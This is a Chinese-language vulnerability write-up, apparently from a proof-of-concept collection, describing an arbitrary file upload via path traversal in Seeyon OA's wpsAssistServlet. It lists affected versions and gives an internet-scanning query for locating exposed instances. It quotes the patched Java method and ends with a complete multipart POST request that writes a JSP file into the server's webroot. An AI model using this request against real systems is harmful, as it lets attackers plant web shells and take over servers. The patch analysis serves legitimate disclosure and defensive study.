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83 lines
2.9 KiB
Markdown
83 lines
2.9 KiB
Markdown
# 致远OA wpsAssistServlet 任意文件上传漏洞
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## 漏洞描述
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致远OA wpsAssistServlet接口存在任意文件上传漏洞，攻击者通过漏洞可以发送特定的请求包上传恶意文件，获取服务器权限
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## 漏洞影响
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```
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致远OA A6、A8、A8N (V8.0SP2，V8.1，V8.1SP1)
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致远OA G6、G6N (V8.1、V8.1SP1)
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```
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## 网络测绘
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```
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app="致远互联-OA" && title="V8.0SP2"
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```
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## 漏洞复现
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产品主页
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下载补丁220706-S004 ，对比修改的文件
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主要修改的是 `com.seeyon.ctp.common.wpsassist.manager.WpsAssistManagerImpl.oaSaveFile` 这个方法
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```
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private Map<String, Object> oaSaveFile(HttpServletRequest request, Map<String, Object> param) throws Exception {
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Map<String, Object> result = Maps.newHashMap();
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result.put(BusinessKey.OfficeTransResultFlag.getCode(), (Object)null);
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Long fileId = MapUtils.getLong(param, "fileId");
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log.info("wpsAssist SaveFile start!fileId=" + fileId);
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String newPdfFileId = MapUtils.getString(param, "newPdfFileId");
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if (Strings.isNotBlank(newPdfFileId)) {
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fileId = Long.valueOf(newPdfFileId);
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}
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String realFileType = MapUtils.getString(param, "realFileType");
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String tempFileIdPathSuffix = SystemEnvironment.getSystemTempFolder() + File.separator + fileId + realFileType;
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Long count = this.saveFileToPath(request, tempFileIdPathSuffix);
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result.put(BusinessKey.FileSize.getCode(), count);
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result.putAll(this.createOfficeTransCacheFile(fileId, tempFileIdPathSuffix, MapUtils.getString(param, "canTransFileType")));
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param.put(BusinessKey.OfficeTransResultFlag.getCode(), result.get(BusinessKey.OfficeTransResultFlag.getCode()));
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this.copyToUploadAndTrans(param);
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return result;
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}
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```
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向上追溯调用的 oaSaveFile方法的代码
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在 `com.seeyon.ctp.common.wpsassist.WpsAssistServlet.doPost` 中，flag参数为save时，可以调用文件上传接口
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`C://Seeyon/A6/base/temporary` 为默认上传的位置，但 `realFileType, fileId` 参数可控，可以通过 ../ 遍历上传到任意目录下，验证POC
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```
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POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/debugggg.jsp&fileId=2 HTTP/1.1
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Host:
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Content-Length: 349
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Content-Type: multipart/form-data; boundary=59229605f98b8cf290a7b8908b34616b
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Accept-Encoding: gzip
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--59229605f98b8cf290a7b8908b34616b
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Content-Disposition: form-data; name="upload"; filename="123.xls"
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Content-Type: application/vnd.ms-excel
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<% out.println("seeyon_vuln");%>
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--59229605f98b8cf290a7b8908b34616b--
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```
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